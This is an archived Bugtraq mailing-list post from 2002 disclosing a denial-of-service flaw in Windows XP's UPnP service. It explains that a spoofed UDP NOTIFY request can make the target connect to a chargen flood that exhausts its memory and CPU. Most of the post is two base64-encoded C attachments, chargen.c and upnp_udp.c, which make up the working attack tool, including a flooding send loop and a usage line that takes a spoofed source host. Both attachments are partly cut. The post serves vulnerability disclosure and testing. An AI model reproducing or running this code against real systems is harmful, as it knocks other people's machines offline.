[23788] in bugtraq
UPNP Denial of Service
daemon@ATHENA.MIT.EDU (Gabriel Maggiotti)
Wed Jan 9 23:20:02 2002
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----_=_NextPart_001_01C19915.7D29A2BD"
Date: Wed, 9 Jan 2002 10:56:51 -0300
Message-ID: <BABA092F5BB47847AF2A72C6539EC37F6CA7E8@cdo01.biycsa.net>
From: "Gabriel Maggiotti" <gmaggiotti@biycsa.com.ar>
To: <bugtraq@securityfocus.com>
------_=_NextPart_001_01C19915.7D29A2BD
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
We develop a code baseline to test the UPNP DOS. The dos consists in
sending a udp packet to port 1900 with a NOTIFY request. This request
has a URL that XP uses to open a tcp connection. The XP does not
sanitize this request so whatever URL and port could be specified. Once
the tcp connection is opened, a chargen code fills the XP memory and the
machine gets into an unstable state with a 100% of cpu utilization.=20
Gabriel Maggiotti, Fernando Oubi=F1a
<<chargen.c>> <<upnp_udp.c>>=20
------_=_NextPart_001_01C19915.7D29A2BD
Content-Type: application/octet-stream;
name="chargen.c"
Content-Transfer-Encoding: base64
Content-Description: chargen.c
Content-Disposition: attachment;
filename="chargen.c"
PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjwhLS0gc2F2ZWQgZnJvbSB1cmw9KDAwMzQpaHR0cDovL3FiMHgubmV0L2V4cGxvaXRz
L2NoYXJnZW4uYyAtLT4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBj
aGFyc2V0PXdpbmRvd3MtMTI1MiIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+DQo8TUVUQSBjb250
ZW50PSJNU0hUTUwgNS4wMC4yOTE5LjYzMDciIG5hbWU9R0VORVJBVE9SPjwvSEVBRD4NCjxCT0RZ
PjxYTVA+LyoNCiAqIENoY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ZWN2KG5ld2ZkLGJ1
ZixNQVgsMCkpPT0tMSApIA0KCQkJew0KCQkJCXBlcnJvcigicmVjdiIpOw0KCQkJCWV4aXQoMSk7
DQoJCQl9DQoJDQoJCQlidWZbbnVtYnl0ZXNdPSdcMCc7DQoJCQlwcmludGYoIiVzXG4iLGJ1Zik7
DQoJDQoJCQl3aGlsZSgxKQ0KCQkJew0KCQkJCWlmKHNlbmQobmV3ZmQsZGllZGJ1ZiwxMDI0LDAp
ID09LTEpDQoJCQkJew0KICAgICAgICAJCQkJcGVycm9yKCJzZW5kIik7DQogICAgICAgIAkJCQll
eGl0KDApOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCmNsb3NlKG5ld2ZkKTsNCn0NCjwvWE1QPjwv
Qk9EWT48L0hUTUw+DQo=
------_=_NextPart_001_01C19915.7D29A2BD
Content-Type: application/octet-stream;
name="upnp_udp.c"
Content-Transfer-Encoding: base64
Content-Description: upnp_udp.c
Content-Disposition: attachment;
filename="upnp_udp.c"
PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdp
bmRvd3MtMTI1MiIgaHR0cC1lcXVpdj1Db250ZW50LVR5cGU+PC9IRUFEPg0KPEJPRFk+PFhNUD4v
KiANCiAqIFdpbk1FL1hQIFVQTlAgRDBTICANCiAqDQogKiAuL3VwbnBfdWRwIDxyZW1vdGVfaG9z
dG5hbWU+IDxzcG9vZmZlZF9ob3N0PiA8Y2hhcmdlbl9wb3J0Pg0KICoNCiAqIEF1dGhvcnM6ICAg
ICBHYWJyaWVsIE1hZ2dpb3R0aSwgRmVybmFuZG8gT3ViafFhDQogKiBFbWFpbDogICAgICAgZ21h
Z2dpb3RAY2l1ZGFkLmNvbS5hciwgZm91YmluYUBxYjB4Lm5ldA0KICogV2VicGFnZT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